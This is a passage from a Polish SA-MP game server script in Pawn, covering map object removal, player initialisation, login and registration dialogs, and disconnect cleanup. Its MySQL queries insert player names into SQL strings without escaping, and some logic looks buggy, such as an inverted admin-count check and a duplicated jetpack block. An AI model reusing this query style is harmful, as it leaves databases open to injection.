  906.         RemoveBuildingForPlayer(playerid, 1306, 2455.0703, -2399.0156, 19.8438, 0.25);
  907.         RemoveBuildingForPlayer(playerid, 3622, 2475.2578, -2394.7891, 16.0469, 0.25);
  908.         RemoveBuildingForPlayer(playerid, 1306, 2491.7031, -2383.3281, 19.8438, 0.25);
  909.         RemoveBuildingForPlayer(playerid, 3578, 2495.8438, -2386.9375, 13.1719, 0.25);
  910.         RemoveBuildingForPlayer(playerid, 3620, 2472.4453, -2362.9375, 25.5156, 0.25);
  911.         RemoveBuildingForPlayer(playerid, 3622, 2503.5391, -2366.5078, 16.0469, 0.25);
  912.         RemoveBuildingForPlayer(playerid, 3578, 2546.0469, -2396.5938, 13.1719, 0.25);
  913.         RemoveBuildingForPlayer(playerid, 1226, 2535.6875, -2377.6563, 16.3672, 0.25);
  914.         RemoveBuildingForPlayer(playerid, 1635, 2512.0078, -2375.0859, 16.7422, 0.25);
  915.         RemoveBuildingForPlayer(playerid, 1306, 2513.0000, -2339.3281, 19.8438, 0.25);
  916.         RemoveBuildingForPlayer(playerid, 3578, 2571.1641, -2421.1328, 13.1719, 0.25);
  917.         RemoveBuildingForPlayer(playerid, 1278, 2592.4922, -2359.4219, 26.7031, 0.25);
  918.         RemoveBuildingForPlayer(playerid, 3623, 2618.8594, -2429.2969, 17.0703, 0.25);
  919.         RemoveBuildingForPlayer(playerid, 1226, 2624.3281, -2409.5625, 16.4141, 0.25);
  920.         RemoveBuildingForPlayer(playerid, 1278, 2626.2344, -2391.5234, 26.7031, 0.25);
  921.         RemoveBuildingForPlayer(playerid, 1278, 2674.5234, -2557.4922, 26.7031, 0.25);
  922.         RemoveBuildingForPlayer(playerid, 1306, 2669.9063, -2518.6641, 19.8438, 0.25);
  923.         RemoveBuildingForPlayer(playerid, 1226, 2674.2656, -2508.3047, 16.3594, 0.25);
  924.         RemoveBuildingForPlayer(playerid, 1226, 2713.0625, -2508.3047, 16.3594, 0.25);
  925.         RemoveBuildingForPlayer(playerid, 1315, 2672.5938, -2506.8594, 15.8125, 0.25);
  926.         RemoveBuildingForPlayer(playerid, 1315, 2680.8594, -2493.0781, 15.8125, 0.25);
  927.         RemoveBuildingForPlayer(playerid, 1635, 2704.3672, -2487.8672, 20.5625, 0.25);
  928.         RemoveBuildingForPlayer(playerid, 1306, 2742.2656, -2481.5156, 19.8438, 0.25);
  929.         RemoveBuildingForPlayer(playerid, 1226, 2696.0234, -2474.8594, 16.4141, 0.25);
  930.         RemoveBuildingForPlayer(playerid, 1226, 2675.5703, -2466.8516, 16.4141, 0.25);
  931.         RemoveBuildingForPlayer(playerid, 5326, 2661.5156, -2465.1406, 20.1094, 0.25);
  932.         RemoveBuildingForPlayer(playerid, 1306, 2669.9063, -2447.2891, 19.8438, 0.25);
  933.         RemoveBuildingForPlayer(playerid, 1226, 2696.0234, -2446.6250, 16.4141, 0.25);
  934.         RemoveBuildingForPlayer(playerid, 3623, 2639.5469, -2429.2969, 17.0703, 0.25);
  935.         RemoveBuildingForPlayer(playerid, 3623, 2660.4766, -2429.2969, 17.0703, 0.25);
  936.         RemoveBuildingForPlayer(playerid, 1307, 2629.2109, -2419.6875, 12.2891, 0.25);
  937.         RemoveBuildingForPlayer(playerid, 1307, 2649.8984, -2419.6875, 12.2891, 0.25);
  938.         RemoveBuildingForPlayer(playerid, 1315, 2686.7578, -2416.6250, 15.8125, 0.25);
  939.         RemoveBuildingForPlayer(playerid, 1226, 2663.5078, -2409.5625, 16.4141, 0.25);
  940.         RemoveBuildingForPlayer(playerid, 1315, 2672.5938, -2408.2500, 15.8125, 0.25);
  941.         RemoveBuildingForPlayer(playerid, 1306, 2742.2656, -2416.5234, 19.8438, 0.25);
  942.         RemoveBuildingForPlayer(playerid, 3578, 2639.1953, -2392.8203, 13.1719, 0.25);
  943.         RemoveBuildingForPlayer(playerid, 3578, 2663.8359, -2392.8203, 13.1719, 0.25);
  944.         RemoveBuildingForPlayer(playerid, 1226, 2637.1719, -2385.8672, 16.4141, 0.25);
  945.         RemoveBuildingForPlayer(playerid, 1306, 2669.9063, -2394.5078, 19.8438, 0.25);
  946.         RemoveBuildingForPlayer(playerid, 1226, 2692.6797, -2387.4766, 16.4141, 0.25);
  947.         RemoveBuildingForPlayer(playerid, 1278, 2708.4063, -2391.5234, 26.7031, 0.25);
  948.         RemoveBuildingForPlayer(playerid, 3574, 2774.7969, -2534.9531, 15.2188, 0.25);
  949.         RemoveBuildingForPlayer(playerid, 3574, 2771.0703, -2520.5469, 15.2188, 0.25);
  950.         RemoveBuildingForPlayer(playerid, 3761, 2783.7813, -2501.8359, 14.6953, 0.25);
  951.         RemoveBuildingForPlayer(playerid, 3624, 2788.1563, -2493.9844, 16.7266, 0.25);
  952.         RemoveBuildingForPlayer(playerid, 3761, 2783.7813, -2486.9609, 14.6563, 0.25);
  953.         RemoveBuildingForPlayer(playerid, 3578, 2747.0078, -2480.2422, 13.1719, 0.25);
  954.         RemoveBuildingForPlayer(playerid, 3761, 2783.7813, -2463.8203, 14.6328, 0.25);
  955.         RemoveBuildingForPlayer(playerid, 1278, 2773.3438, -2479.9688, 26.7031, 0.25);
  956.         RemoveBuildingForPlayer(playerid, 3624, 2788.1563, -2455.8828, 16.7266, 0.25);
  957.         RemoveBuildingForPlayer(playerid, 3626, 2746.4063, -2453.4844, 14.0781, 0.25);
  958.         RemoveBuildingForPlayer(playerid, 3761, 2783.7813, -2448.4766, 14.6328, 0.25);
  959.         RemoveBuildingForPlayer(playerid, 1278, 2773.3438, -2443.1719, 26.7031, 0.25);
  960.         RemoveBuildingForPlayer(playerid, 3577, 2744.5703, -2436.1875, 13.3438, 0.25);
  961.         RemoveBuildingForPlayer(playerid, 3577, 2744.5703, -2427.3203, 13.3516, 0.25);
  962.         RemoveBuildingForPlayer(playerid, 3761, 2783.7813, -2425.3516, 14.6328, 0.25);
  963.         RemoveBuildingForPlayer(playerid, 3574, 2774.7969, -2386.8516, 15.2188, 0.25);
  964.         RemoveBuildingForPlayer(playerid, 3574, 2771.0703, -2372.4453, 15.2188, 0.25);
  965.         RemoveBuildingForPlayer(playerid, 3761, 2783.7813, -2410.2109, 14.6719, 0.25);
  966.         RemoveBuildingForPlayer(playerid, 3624, 2788.1563, -2417.7891, 16.7266, 0.25);
  967.         RemoveBuildingForPlayer(playerid, 1278, 2802.4297, -2556.5234, 26.7031, 0.25);
  968.         RemoveBuildingForPlayer(playerid, 3761, 2791.9531, -2501.8359, 14.6328, 0.25);
  969.         RemoveBuildingForPlayer(playerid, 3761, 2797.5156, -2486.8281, 14.6328, 0.25);
  970.         RemoveBuildingForPlayer(playerid, 3761, 2791.9531, -2486.9609, 14.6328, 0.25);
  971.         RemoveBuildingForPlayer(playerid, 3761, 2797.5156, -2448.3438, 14.6328, 0.25);
  972.         RemoveBuildingForPlayer(playerid, 3761, 2791.9531, -2448.4766, 14.6328, 0.25);
  973.         RemoveBuildingForPlayer(playerid, 3761, 2791.9531, -2425.3516, 14.6719, 0.25);
  974.         RemoveBuildingForPlayer(playerid, 3761, 2791.9531, -2410.2109, 14.6563, 0.25);
  975.         RemoveBuildingForPlayer(playerid, 3761, 2797.5156, -2410.0781, 14.6328, 0.25);
  976.         RemoveBuildingForPlayer(playerid, 3626, 2795.8281, -2394.2422, 14.1719, 0.25);
  977.         RemoveBuildingForPlayer(playerid, 3620, 2814.2656, -2521.4922, 25.5156, 0.25);
  978.         RemoveBuildingForPlayer(playerid, 5157, 2838.0391, -2532.7734, 17.0234, 0.25);
  979.         RemoveBuildingForPlayer(playerid, 5154, 2838.1406, -2447.8438, 15.7500, 0.25);
  980.         RemoveBuildingForPlayer(playerid, 3724, 2838.1953, -2488.6641, 29.3125, 0.25);
  981.         RemoveBuildingForPlayer(playerid, 3620, 2814.2656, -2356.5703, 25.5156, 0.25);
  982.         RemoveBuildingForPlayer(playerid, 5155, 2838.0234, -2358.4766, 21.3125, 0.25);
  983.         RemoveBuildingForPlayer(playerid, 3724, 2838.1953, -2407.1406, 29.3125, 0.25);
  984.         RemoveBuildingForPlayer(playerid, 1278, 2762.7578, -2333.3828, 26.7031, 0.25);
  985.         RemoveBuildingForPlayer(playerid, 1278, 2804.2422, -2333.3828, 26.7031, 0.25);
  986.         RemoveBuildingForPlayer(playerid, 5158, 2837.7734, -2334.4766, 11.9922, 0.25);
  987.         RemoveBuildingForPlayer(playerid, 4274, 2357.0781, -2387.1953, -4.0000, 0.25);
  988.         RemoveBuildingForPlayer(playerid, 4408, 2357.0781, -2387.1953, -4.0000, 0.25);
  989.         RemoveBuildingForPlayer(playerid, 3276, -118.9688, -165.6719, 2.3203, 0.25);
  990.         RemoveBuildingForPlayer(playerid, 3276, -130.8203, -160.7656, 2.5156, 0.25);
  991.         RemoveBuildingForPlayer(playerid, 3276, -116.6172, -153.6328, 2.9297, 0.25);
  992.         RemoveBuildingForPlayer(playerid, 3276, -124.4297, -136.6172, 2.9453, 0.25);
  993.         RemoveBuildingForPlayer(playerid, 3276, -108.0234, -114.6563, 2.9453, 0.25);
  994.         RemoveBuildingForPlayer(playerid, 3276, -119.0156, -112.8672, 2.9063, 0.25);
  995.         RemoveBuildingForPlayer(playerid, 3276, -100.7813, -110.4609, 2.9063, 0.25);
  996.         RemoveBuildingForPlayer(playerid, 3276, -123.5156, -106.2266, 2.9063, 0.25);
  997.         RemoveBuildingForPlayer(playerid, 3276, 126.0781, -69.9844, 1.4141, 0.25);
  998.         RemoveBuildingForPlayer(playerid, 3276, -137.7813, -18.2031, 2.9375, 0.25);
  999.         RemoveBuildingForPlayer(playerid, 3276, -133.3281, -7.3047, 2.9375, 0.25);
  1000.         RemoveBuildingForPlayer(playerid, 3276, -127.1328, 9.5859, 2.9375, 0.25);
  1001.         RemoveBuildingForPlayer(playerid, 3276, -71.8359, 58.8750, 2.8828, 0.25);
  1002.         RemoveBuildingForPlayer(playerid, 8501, 2160.2734, 1465.1094, 22.1484, 0.25);
  1003.         RemoveBuildingForPlayer(playerid, 8694, 2113.1328, 1465.1094, 22.1484, 0.25);
  1004.         RemoveBuildingForPlayer(playerid, 8851, 2086.8125, 1483.2344, 10.0625, 0.25);
  1005.         RemoveBuildingForPlayer(playerid, 8853, 2107.1875, 1522.5234, 10.0625, 0.25);
  1006.         RemoveBuildingForPlayer(playerid, 8854, 2161.7578, 1522.5234, 10.0625, 0.25);
  1007.         RemoveBuildingForPlayer(playerid, 8855, 2181.5781, 1483.2344, 10.0625, 0.25);
  1008.         RemoveBuildingForPlayer(playerid, 8856, 2107.1875, 1443.9922, 10.0625, 0.25);
  1009.         RemoveBuildingForPlayer(playerid, 8865, 2215.0859, 1522.5234, 10.0625, 0.25);
  1010.         RemoveBuildingForPlayer(playerid, 8930, 2217.7500, 1477.6641, 31.6797, 0.25);
  1011.         RemoveBuildingForPlayer(playerid, 8931, 2162.4766, 1403.4375, 14.6563, 0.25);
  1012.         RemoveBuildingForPlayer(playerid, 9070, 2111.3203, 1501.1172, 22.1484, 0.25);
  1013.         RemoveBuildingForPlayer(playerid, 9071, 2158.4219, 1501.1172, 22.1484, 0.25);
  1014.         RemoveBuildingForPlayer(playerid, 9072, 2113.1328, 1465.1094, 22.1484, 0.25);
  1015.         RemoveBuildingForPlayer(playerid, 9073, 2158.4219, 1501.1172, 22.1484, 0.25);
  1016.         RemoveBuildingForPlayer(playerid, 9074, 2111.3203, 1501.1172, 22.1484, 0.25);
  1017.         RemoveBuildingForPlayer(playerid, 9075, 2160.2734, 1465.1094, 22.1484, 0.25);
  1018.         RemoveBuildingForPlayer(playerid, 9170, 2117.1250, 923.4453, 12.9219, 0.25);
  1019.         RemoveBuildingForPlayer(playerid, 718, 2088.8906, 1439.5938, 9.7500, 0.25);
  1020.         RemoveBuildingForPlayer(playerid, 718, 2088.8906, 1426.4844, 9.7500, 0.25);
  1021.         RemoveBuildingForPlayer(playerid, 1231, 2099.8125, 1447.9766, 12.4609, 0.25);
  1022.         RemoveBuildingForPlayer(playerid, 718, 2098.3828, 1384.3203, 9.7656, 0.25);
  1023.         RemoveBuildingForPlayer(playerid, 1280, 2100.9922, 1452.1563, 10.2266, 0.25);
  1024.         RemoveBuildingForPlayer(playerid, 718, 2116.3594, 1384.3281, 9.7656, 0.25);
  1025.         RemoveBuildingForPlayer(playerid, 1231, 2110.8906, 1447.9766, 12.4609, 0.25);
  1026.         RemoveBuildingForPlayer(playerid, 1231, 2121.7266, 1447.9766, 12.4609, 0.25);
  1027.         RemoveBuildingForPlayer(playerid, 718, 2121.8359, 1443.2344, 9.7500, 0.25);
  1028.         RemoveBuildingForPlayer(playerid, 1280, 2117.3281, 1452.1563, 10.2266, 0.25);
  1029.         RemoveBuildingForPlayer(playerid, 1341, 2125.1328, 1442.0781, 10.7031, 0.25);
  1030.         RemoveBuildingForPlayer(playerid, 718, 2147.6641, 1443.2344, 9.7500, 0.25);
  1031.         RemoveBuildingForPlayer(playerid, 718, 2147.1563, 1424.7422, 9.7656, 0.25);
  1032.         RemoveBuildingForPlayer(playerid, 1340, 2144.6406, 1441.9297, 10.8516, 0.25);
  1033.         RemoveBuildingForPlayer(playerid, 1280, 2157.0703, 1452.1563, 10.2266, 0.25);
  1034.         RemoveBuildingForPlayer(playerid, 8839, 2162.4766, 1403.4375, 14.6563, 0.25);
  1035.         RemoveBuildingForPlayer(playerid, 8840, 2162.7891, 1401.4141, 14.3750, 0.25);
  1036.         RemoveBuildingForPlayer(playerid, 8843, 2163.5313, 1444.6172, 9.8594, 0.25);
  1037.         RemoveBuildingForPlayer(playerid, 718, 2171.8672, 1424.6406, 9.7656, 0.25);
  1038.         RemoveBuildingForPlayer(playerid, 1280, 2169.5781, 1452.1563, 10.2266, 0.25);
  1039.         RemoveBuildingForPlayer(playerid, 1344, 2178.2188, 1418.8438, 10.6250, 0.25);
  1040.         RemoveBuildingForPlayer(playerid, 718, 2181.9219, 1443.2344, 9.7500, 0.25);
  1041.         RemoveBuildingForPlayer(playerid, 1344, 2181.5625, 1418.8438, 10.6250, 0.25);
  1042.         RemoveBuildingForPlayer(playerid, 1280, 2181.9922, 1458.7109, 10.2266, 0.25);
  1043.         RemoveBuildingForPlayer(playerid, 718, 2236.3594, 1402.1250, 9.7656, 0.25);
  1044.         RemoveBuildingForPlayer(playerid, 1231, 2087.6094, 1463.2500, 12.5234, 0.25);
  1045.         RemoveBuildingForPlayer(playerid, 1231, 2087.6094, 1503.2344, 12.5234, 0.25);
  1046.         RemoveBuildingForPlayer(playerid, 8502, 2134.1484, 1483.1172, 21.4844, 0.25);
  1047.         RemoveBuildingForPlayer(playerid, 1280, 2101.5703, 1514.0781, 10.2266, 0.25);
  1048.         RemoveBuildingForPlayer(playerid, 1280, 2117.0547, 1514.0781, 10.2266, 0.25);
  1049.         RemoveBuildingForPlayer(playerid, 1231, 2110.8906, 1518.1328, 12.4609, 0.25);
  1050.         RemoveBuildingForPlayer(playerid, 1231, 2099.8125, 1518.1328, 12.4609, 0.25);
  1051.         RemoveBuildingForPlayer(playerid, 1231, 2121.7266, 1518.1328, 12.4609, 0.25);
  1052.         RemoveBuildingForPlayer(playerid, 718, 2119.5000, 1522.0781, 9.7500, 0.25);
  1053.         RemoveBuildingForPlayer(playerid, 1231, 2182.0547, 1463.2500, 12.5234, 0.25);
  1054.         RemoveBuildingForPlayer(playerid, 8852, 2162.1406, 1483.2500, 10.7813, 0.25);
  1055.         RemoveBuildingForPlayer(playerid, 8842, 2217.7500, 1477.6641, 31.6797, 0.25);
  1056.         RemoveBuildingForPlayer(playerid, 1231, 2153.8516, 1518.1328, 12.4609, 0.25);
  1057.         RemoveBuildingForPlayer(playerid, 1231, 2161.9219, 1518.1328, 12.4609, 0.25);
  1058.         RemoveBuildingForPlayer(playerid, 1280, 2157.5078, 1514.0781, 10.2266, 0.25);
  1059.         RemoveBuildingForPlayer(playerid, 1231, 2169.6797, 1518.1328, 12.4609, 0.25);
  1060.         RemoveBuildingForPlayer(playerid, 1280, 2168.5391, 1514.0781, 10.2266, 0.25);
  1061.         RemoveBuildingForPlayer(playerid, 1231, 2182.0547, 1503.2344, 12.5234, 0.25);
  1062.         RemoveBuildingForPlayer(playerid, 1280, 2181.9922, 1500.4375, 10.2266, 0.25);
  1063.         RemoveBuildingForPlayer(playerid, 718, 2148.9219, 1522.0781, 9.7500, 0.25);
  1064.         RemoveBuildingForPlayer(playerid, 718, 2180.0781, 1521.4375, 9.7500, 0.25);
  1065.         RemoveBuildingForPlayer(playerid, 1341, 2175.0859, 1523.4141, 10.7344, 0.25);
  1066.         RemoveBuildingForPlayer(playerid, 3516, 2042.5234, 831.0156, 9.0469, 0.25);
  1067.         RemoveBuildingForPlayer(playerid, 8828, 2057.3906, 988.3750, 8.7422, 0.25);
  1068.         RemoveBuildingForPlayer(playerid, 647, 2057.5703, 1003.9063, 11.2266, 0.25);
  1069.         RemoveBuildingForPlayer(playerid, 647, 2057.5703, 1113.0313, 11.2266, 0.25);
  1070.         RemoveBuildingForPlayer(playerid, 647, 2057.5703, 1107.8984, 11.2266, 0.25);
  1071.         RemoveBuildingForPlayer(playerid, 3465, 2114.9063, 925.5078, 11.2578, 0.25);
  1072.         RemoveBuildingForPlayer(playerid, 3465, 2109.0469, 925.5078, 11.2578, 0.25);
  1073.         RemoveBuildingForPlayer(playerid, 3465, 2109.0469, 914.7188, 11.2578, 0.25);
  1074.         RemoveBuildingForPlayer(playerid, 3465, 2114.9063, 914.7188, 11.2578, 0.25);
  1075.         RemoveBuildingForPlayer(playerid, 9169, 2117.1250, 923.4453, 12.9219, 0.25);
  1076.         RemoveBuildingForPlayer(playerid, 3465, 2120.8203, 925.5078, 11.2578, 0.25);
  1077.         RemoveBuildingForPlayer(playerid, 3465, 2120.8203, 914.7188, 11.2578, 0.25);
  1078.         RemoveBuildingForPlayer(playerid, 9192, 2136.1641, 944.1328, 15.0547, 0.25);
  1079.         RemoveBuildingForPlayer(playerid, 7717, 2082.7109, 2171.6016, 14.2734, 0.25);
  1080.         RemoveBuildingForPlayer(playerid, 3447, 2061.5938, 2142.9297, 17.3203, 0.25);
  1081.         RemoveBuildingForPlayer(playerid, 3447, 2039.7656, 2142.9297, 17.3203, 0.25);
  1082.         RemoveBuildingForPlayer(playerid, 3458, 2047.2031, 2170.0156, 11.3438, 0.25);
  1083.         RemoveBuildingForPlayer(playerid, 3447, 2066.1172, 2199.6719, 17.3203, 0.25);
  1084.         RemoveBuildingForPlayer(playerid, 7596, 2082.7109, 2171.6016, 14.2734, 0.25);
  1085.         RemoveBuildingForPlayer(playerid, 7598, 2083.6406, 2142.8125, 23.2109, 0.25);
  1086.         RemoveBuildingForPlayer(playerid, 3447, 2083.5078, 2142.9297, 17.3203, 0.25);
  1087.         RemoveBuildingForPlayer(playerid, 7608, 2088.1641, 2199.5547, 23.2109, 0.25);
  1088.         RemoveBuildingForPlayer(playerid, 3447, 2088.0313, 2199.6719, 17.3203, 0.25);
  1089.         RemoveBuildingForPlayer(playerid, 7597, 2103.2656, 2150.1016, 26.2578, 0.25);
  1090.         RemoveBuildingForPlayer(playerid, 3447, 2105.1797, 2142.9297, 17.3203, 0.25);
  1091.         RemoveBuildingForPlayer(playerid, 3470, 2101.9766, 2146.5703, 13.8281, 0.25);
  1092.         RemoveBuildingForPlayer(playerid, 3447, 2109.7031, 2199.6719, 17.3203, 0.25);
  1093.         RemoveBuildingForPlayer(playerid, 3513, 2118.0391, 2169.6484, 14.0156, 0.25);
  1094.         RemoveBuildingForPlayer(playerid, 10051, -1578.1875, 716.2891, -6.0781, 0.25);
  1095.  
  1096.     Skin_User[playerid] = 0;
  1097.     CMD_Block[playerid] = false;
  1098.         TytulChce[playerid] = true;
  1099.         pHealth[playerid] = 0;
  1100.     pArmour[playerid] = 0;
  1101.         TabSelectedPlayerId[playerid] = -1;
  1102.         IdzDo[playerid] = true;
  1103.     Server[minigunPlayers] = 0;
  1104.         Server[rpgPlayers] = 0;
  1105.         Server[oneshootPlayers] = 0;
  1106.         Server[jetpackPlayers] = 0;
  1107.         Server[sniperPlayers] = 0;
  1108.         MaPrivCar[playerid] = false;
  1109.         PrivPrzebieg[playerid] = 0.0;
  1110.         PrivSpeed[playerid] = 0;
  1111.         PrywatnyPojazd[playerid] = -1;
  1112.         SelectedPrivCar[playerid] = 0;
  1113.         ZespawnowanyPrivCar[playerid] = false;
  1114.         Spawned[playerid] = false;
  1115.         GetPos[playerid] = false;
  1116.     AntiFlood_InitPlayer( playerid );
  1117.     vdot[playerid] = false;
  1118.     gdot[playerid] = false;
  1119.     WarnBlock[playerid] = false;
  1120.     WarnSystem[playerid] = 0;
  1121.     Invisible[playerid] = false;
  1122.     ColorAdmina[playerid] = false;
  1123.     Players_Online++;
  1124.     p_Hours[playerid] = 0;
  1125.     p_Minutes[playerid] = 0;
  1126.     p_Secounds[playerid] = 0;
  1127.     lowiryby[playerid] = 0;
  1128.         pRamp[playerid][0] = 1;
  1129.         pRamp[playerid][1] = 0;
  1130.         SpecPlayer[playerid] = -1;
  1131.         pInFun[playerid] = 0;
  1132.         pAFK[playerid] = 0;
  1133.     pHouse[playerid] = -1;
  1134.         pPrivTele[playerid][0][1] = 0.0;
  1135.         pPrivTele[playerid][0][2] = 0.0;
  1136.         pPrivTele[playerid][1][1] = 0.0;
  1137.         pPrivTele[playerid][1][2] = 0.0;
  1138.         pPrivTele[playerid][2][1] = 0.0;
  1139.         pPrivTele[playerid][2][2] = 0.0;
  1140.         pAntyTele[playerid][0] = -1;
  1141.         pAntyTele[playerid][1] = 0;
  1142.         Vip[playerid] = false;
  1143.         Administrator[playerid] = 0;
  1144.         AdministratorLevel[playerid] = 0;
  1145.         GivePlayerScore(playerid, 3);
  1146.  
  1147.     ID_Skin = CreatePlayerTextDraw(playerid, 512.500, 386.500,"_");
  1148.     PlayerTextDrawBackgroundColor(playerid, ID_Skin, 0);
  1149.     PlayerTextDrawFont(playerid, ID_Skin, TEXT_DRAW_FONT_MODEL_PREVIEW);
  1150.     PlayerTextDrawTextSize(playerid, ID_Skin, 100.000, 50.500);
  1151.     TD_Show(playerid,Wybieralka[0]);
  1152.     TD_Show(playerid,Wybieralka[1]);
  1153.     TD_Show(playerid,Wybieralka[2]);
  1154.     TD_Show(playerid,Wybieralka[3]);
  1155.     TD_Show(playerid,Wybieralka[4]);
  1156.     TD_Show(playerid,Wybieralka[5]);
  1157.     TD_Show(playerid,Wybieralka[6]);
  1158.     TD_Show(playerid,Wybieralka[7]);
  1159.     TD_Show(playerid,Wybieralka[8]);
  1160.     SCM(playerid, 0xFFFFFFFF, " ");
  1161.     SCM(playerid, 0xFFFFFFFF, " ");
  1162.     SCM(playerid, 0xFFFFFFFF, " ");
  1163.     SCM(playerid, 0xFFFFFFFF, " ");
  1164.     SCM(playerid, 0xFFFFFFFF, " ");
  1165.     SCM(playerid, 0xFFFFFFFF, " ");
  1166.     SCM(playerid, 0xFFFFFFFF, " ");
  1167.     SCM(playerid, 0xFFFFFFFF, " ");
  1168.     SCM(playerid, 0xFFFFFFFF, " ");
  1169.     SCM(playerid, 0xFFFFFFFF, " ");
  1170.         SCM(playerid, 0xFFFFFFFF, " ");
  1171.     SCM(playerid, 0xFFFFFFFF, " ");
  1172.     SCM(playerid, 0xFFFFFFFF, " ");
  1173.     SCM(playerid, 0xFFFFFFFF, " ");
  1174.     SCM(playerid, 0xFFFFFFFF, " ");
  1175.     SCM(playerid, 0xFFFFFFFF, " ");
  1176.     SCM(playerid, 0xFFFFFFFF, " ");
  1177.     SCM(playerid, 0xFFFFFFFF, " ");
  1178.     SCM(playerid, 0xFFFFFFFF, " ");
  1179.     SCM(playerid, 0xFFFFFFFF, " ");
  1180.     SCM(playerid, 0xFFFFFFFF, ""C_O"ptsDM "C_B""Version" "C_O"skompilowany "C_B""Date" "C_O"godz."C_B" "Godz", "C_O"przez "C_B""Author"");
  1181.         new witaj[1000];
  1182.         format(witaj,sizeof(witaj),""czat" "C_O"Witaj "C_B"%s "C_O"na "C_B"Polskim TOP Serwerze", pName[playerid]);
  1183.     SCM(playerid, 0xFFFFFFFF ,witaj);
  1184.     SCM(playerid, 0xFFFFFFFF, ""czat" "C_O"Dostałeś/aś "C_B"3 "C_O"exp za wejście na serwer!");
  1185.     SCM(playerid, 0xFFFFFFFF, ""czat" "C_O"Jesteś naszym stałym graczem? Dodaj przed nick TAG "C_O"[TOP] "C_B"np. "C_B"[TOP].Olaa");
  1186.     SCM(playerid, 0xFFFFFFFF, ""czat" "C_O"Zapraszamy na nasze forum "C_B"www.TOP.xaa.pl");
  1187.     SCM(playerid, 0xFFFFFFFF, ""czat" "C_O"Więcej informacji znajdziesz pod "C_B"/CMD");
  1188.  
  1189.  
  1190.         format(strx, sizeof strx, "SELECT * FROM `players` WHERE `nick` = '%s'", pName[playerid]);
  1191.         mysql_query(strx);
  1192.         mysql_store_result();
  1193.  
  1194.         if(!mysql_num_rows())
  1195.         {
  1196.         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  1197.                 Dialog(playerid, 0, DIALOG_INPUT, ""C_O"Widzę, że nie zdąrzyłeś jeszcze dołączyć do naszej społeczności!\n\n"C_O"Korzyści z zakładania konta:\n\n\t"C_O"• "C_B"zapisywanie statystyk\n\t"C_O"• "C_B"dodatkowe opcje\n\t"C_O"• "C_B"możliwość zostania vip'em\n\t"C_O"• "C_B"możliwość wygenerowania własnej sygnatury\n\n"C_O"Wpisz hasło niżej aby założyć konto natychmiastowo!", "Zarejestruj!", "Wyjdź");
  1198.     }
  1199.     else
  1200.     {
  1201.        PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  1202.        Dialog(playerid, 1, DIALOG_PASS, ""C_O"Witaj na "C_B"Polskim TOP Serwerze\n\n"C_O"Konto zostało wykryte w naszej\n\t"C_B"bazie danych\n"C_O"Aby rozpocząć grę musisz się zalogować\naby to zrobić, podaj hasło poniżej:", "Zaloguj", "Wyjdź");
  1203.         }
  1204.         mysql_free_result();
  1205.  
  1206.         format(strx, sizeof strx, "Connect: %s (%d)", pName[playerid], playerid);
  1207.         WriteLog(strx);
  1208.         return 1;
  1209. }
  1210.  
  1211. public OnPlayerDisconnect(playerid, reason)
  1212. {
  1213.         if(GetPVarInt(playerid, "Logged") == 1)
  1214.         {
  1215.         switch(reason)
  1216.         {
  1217.                         case 0: format(strx, sizeof(strx), ""czat" "C_B"%s"C_O" opuścił serwer. "C_B"|Crash| "C_O"(Grał: "C_B"%d godz %d min %d sek)", pName[playerid], p_Hours[playerid], p_Minutes[playerid], p_Secounds[playerid]);
  1218.                         case 1: format(strx, sizeof(strx), ""czat" "C_B"%s"C_O" opuścił serwer. "C_B"|Wyszedł| "C_O"(Grał: "C_B"%d godz %d min %d sek)", pName[playerid], p_Hours[playerid], p_Minutes[playerid], p_Secounds[playerid]);
  1219.                         case 2: format(strx, sizeof(strx), ""czat" "C_B"%s"C_O" opuścił serwer. "C_B"|Kick/Ban| "C_O"(Grał: "C_B"%d godz %d min %d sek)", pName[playerid], p_Hours[playerid], p_Minutes[playerid], p_Secounds[playerid]);
  1220.                 }
  1221.                 SCMToAll(-1, strx);
  1222.  
  1223.                 format(strx, sizeof strx, "UPDATE `players` SET `timeplay` = `timeplay` + '%d' WHERE `nick`='%s'", floatround((GetTickCount() - GetPVarInt(playerid, "timePlay"))/60000), pName[playerid]);
  1224.                 mysql_query(strx);
  1225.         }
  1226.  
  1227.         format(strx, sizeof strx, "Disconnect: %s (%d) Reason: %d", pName[playerid], playerid, reason);
  1228.         WriteLog(strx);
  1229.     Players_Online--;
  1230.  
  1231.     if(Administrator[playerid] < 1)
  1232.     {
  1233.                  Admins_Online--;
  1234.     }
  1235.  
  1236.     if(Vip[playerid])
  1237.     {
  1238.                 Vips_Online--;
  1239.     }
  1240.  
  1241.         pLoop(i)
  1242.         {
  1243.                 if(IsPlayerConnected(i) && GetPlayerState(i) == PLAYER_STATE_SPECTATING && SpecPlayer[i] == playerid)
  1244.                 {
  1245.                         StopSpec(i);
  1246.                 }
  1247.         }
  1248.  
  1249.         ExitDM(playerid);
  1250.     if(Player[playerid][rpg])
  1251.         {
  1252.             Server[rpgPlayers]--;
  1253.             Player[playerid][rpg] = false;
  1254.         }
  1255.         if(Player[playerid][minigun])
  1256.         {
  1257.             Server[minigunPlayers]--;
  1258.             Player[playerid][minigun] = false;
  1259.         }
  1260.         if(Player[playerid][oneshoot])
  1261.         {
  1262.             Server[oneshootPlayers]--;
  1263.             Player[playerid][oneshoot] = false;
  1264.         }
  1265.     if(Player[playerid][jetpack])
  1266.         {
  1267.            Server[jetpackPlayers]--;
  1268.            Player[playerid][jetpack] = false;
  1269.         }
  1270.         if(Player[playerid][sniper])
  1271.         {
  1272.            Server[sniperPlayers]--;
  1273.            Player[playerid][sniper] = false;
  1274.         }
  1275.         if(Player[playerid][jetpack])
  1276.         {
  1277.            Server[jetpackPlayers]--;
  1278.            Player[playerid][jetpack] = false;
  1279.         }
  1280.  
  1281.         Player[playerid][Arena] = false;
  1282.     if(MaPrivCar[playerid] == true)
  1283.           {
  1284.                   mysql_PlayerSet(pName[playerid], "przebieg", tostr(floatval(PrivPrzebieg[playerid])));
  1285.                   if( PrywatnyPojazd[playerid] > 0)
  1286.                   {
  1287.                          PrivCar[PrywatnyPojazd[playerid]] = -1;
  1288.                          Delete3DTextLabel(PrywatnyPojazdLabel[playerid]);
  1289.                          DestroyVehicle(PrywatnyPojazd[playerid]);
  1290.                 }
  1291.         }
  1292.         if(GetPVarInt(playerid, "Walczy") == 1)
  1293.         {
  1294.                 new i = GetPVarInt(playerid, "pWalka");
  1295.                 if(i != -1)
  1296.                 {
